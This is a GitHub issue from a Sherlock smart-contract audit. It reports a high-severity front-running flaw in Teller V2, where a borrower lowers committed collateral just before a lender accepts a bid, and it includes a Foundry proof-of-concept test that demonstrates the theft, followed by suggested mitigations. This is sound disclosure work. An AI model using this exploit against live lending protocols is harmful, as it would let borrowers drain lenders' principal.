You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
{{ message }}
This repository has been archived by the owner on Oct 22, 2023. It is now read-only.
sherlock-admin opened this issue
Apr 22, 2023
· 0 comments
Labels
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelHighA valid High severity issueRewardA payout will be made for this issue
Borrowers can steal lenders principal without providing collateral by frontrunning lenderAcceptBid and updating the bid
Summary
A malicious borrower submits a bid. A lender decides to accept the bid after he sees that the commited collateral is high enough.
The malicious borrower can frontrun the lender transaction and update the bid with the lowest possible amount, stealing the principal while not providing the collateral he was pretending to send.
Vulnerability Detail
The vulnerability lies on the fact that Tellerv2::lenderAcceptBid() does not check that the collateral values for the bid haven't changed in the meantime:
Borrowers can update their commited collateral via CollateralManager::commitCollateral().
function commitCollateral(
uint256_bidId,
Collateral[] calldata_collateralInfo
) publicreturns (boolvalidation_) {
address borrower = tellerV2.getLoanBorrower(_bidId);
(validation_, ) =checkBalances(borrower, _collateralInfo);
if (validation_) {
for (uint256 i; i < _collateralInfo.length; i++) {
Collateral memory info = _collateralInfo[i];
_commitCollateral(_bidId, info);
}
}
}
The commitCollateral function allows borrowers to commit the collateral while submitting a bid, or allow them to commit it later if they didn't do it beforehand:
// @notice Function for a borrower to create a bid for a loan without Collateral.function submitBid(
// ...
The commitCollateral function also allows borrowers to update the collateral values for their bid, as the collateral hasn't been put into escrow yet.
That can be exploited to frontrun the lender transaction and steal their principal as can be seen in the following test.
Proof of Concept
Add this test to packages/contracts/tests/TellerV2/TellerV2_Test.sol and run forge test -m "test_commit_collateral_frontrun_exploit":
function test_commit_collateral_frontrun_exploit() public {
// The original borrower balance for the DAI principal and WETH collateralassertEq(daiMock.balanceOf(address(borrower)), 50000);
assertEq(wethMock.balanceOf(address(borrower)), 50000);
// The original lender balance for the DAI principal -> This will be stolenassertEq(daiMock.balanceOf(address(lender)), 500000);
// Submit bid as borroweruint256 bidId =submitCollateralBid();
// The original bid is for 10 WETHuint256 originalCollateralAmount = collateralManager.getCollateralAmount(bidId, address(wethMock));
assertEq(originalCollateralAmount, 10);
// This is just to illustrate that some time passes (but it is irrelevant)
vm.warp(100);
// A potential lender finds the bid attractive and decides to accept the bid// The attack begins here// The malicious borrower sees the transaction in the mempool and frontruns it// The borrower prepares the malicious bid lowering the amount to the minimum possible
Collateral memory info;
info._amount =1; // @audit minimum amount
info._tokenId =0;
info._collateralAddress =address(wethMock);
info._collateralType = CollateralType.ERC20;
Collateral[] memory collateralInfo =newCollateral[](1);
collateralInfo[0] = info;
// The malicious borrower performs the attack by frontrunning the tx and updating the bid collateral amount
vm.prank(address(borrower));
collateralManager.commitCollateral(bidId, info);
// The lender is now victim to the frontrunning and accepts the malicious bidacceptBid(bidId);
// The borrower now has the expected 95 DAI from the loan (5 DAI are gone in fees)// But he only provided 1 WETH as collateral instead of the original amount of 10 WETHassertEq(daiMock.balanceOf(address(borrower)), 50095);
assertEq(wethMock.balanceOf(address(borrower)), 49999); // @audit only provided 1 WETH// The lender lost his principal of 100 DAI, as the loan is only collateralized by 1 WETH instead of 10 WETHassertEq(daiMock.balanceOf(address(lender)), 499900);
}
Impact
Lenders lose their principal, as they end up with an uncollateralized loan.
Borrowers can steal lenders principal without providing collateral.
I suggest two possible mitigations depending on the protocol intention.
A) If the intention is to allow borrowers to update their bids with different collateral values:
Consider checking that the lender accepts the bid with the expected parameters by providing a hash of those values. This can be either stored, or calculated on-the-flight with the values stored in CollateralManager:
hrishibhat
added
High
A valid High severity issue
Duplicate
A valid issue that is a duplicate of an issue with `Has Duplicates` label
labels
Jun 9, 2023
Sign up for freeto subscribe to this conversation on GitHub.
Already have an account?
Sign in.
Labels
DuplicateA valid issue that is a duplicate of an issue with `Has Duplicates` labelHighA valid High severity issueRewardA payout will be made for this issue
juancito
high
Borrowers can steal lenders principal without providing collateral by frontrunning
lenderAcceptBid
and updating the bidSummary
A malicious borrower submits a bid. A lender decides to accept the bid after he sees that the commited collateral is high enough.
The malicious borrower can frontrun the lender transaction and update the bid with the lowest possible amount, stealing the principal while not providing the collateral he was pretending to send.
Vulnerability Detail
The vulnerability lies on the fact that
Tellerv2::lenderAcceptBid()
does not check that the collateral values for the bid haven't changed in the meantime:Borrowers can update their commited collateral via
CollateralManager::commitCollateral()
.The
commitCollateral
function allows borrowers to commit the collateral while submitting a bid, or allow them to commit it later if they didn't do it beforehand:The
commitCollateral
function also allows borrowers to update the collateral values for their bid, as the collateral hasn't been put into escrow yet.That can be exploited to frontrun the lender transaction and steal their principal as can be seen in the following test.
Proof of Concept
Add this test to
packages/contracts/tests/TellerV2/TellerV2_Test.sol
and runforge test -m "test_commit_collateral_frontrun_exploit"
:Impact
Lenders lose their principal, as they end up with an uncollateralized loan.
Borrowers can steal lenders principal without providing collateral.
Code Snippet
https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/TellerV2.sol#L470-L558
https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/CollateralManager.sol#L117-L130
https://github.com/sherlock-audit/2023-03-teller/blob/main/teller-protocol-v2/packages/contracts/contracts/TellerV2.sol#L263-L290
Tool used
Manual Review
Recommendation
I suggest two possible mitigations depending on the protocol intention.
A) If the intention is to allow borrowers to update their bids with different collateral values:
Consider checking that the lender accepts the bid with the expected parameters by providing a hash of those values. This can be either stored, or calculated on-the-flight with the values stored in CollateralManager:
B) If the intention is to only allow borrowers to commit their collateral once, and to cancel the bid if they made a mistake or change their minds.
Consider checking that the collateral cannot be commited again:
function commitCollateral( uint256 _bidId, Collateral[] calldata _collateralInfo ) public returns (bool validation_) { address borrower = tellerV2.getLoanBorrower(_bidId); + require(isBidCollateralBacked(_bidId) == false, "bid is already backed");
Duplicate of #170
The text was updated successfully, but these errors were encountered: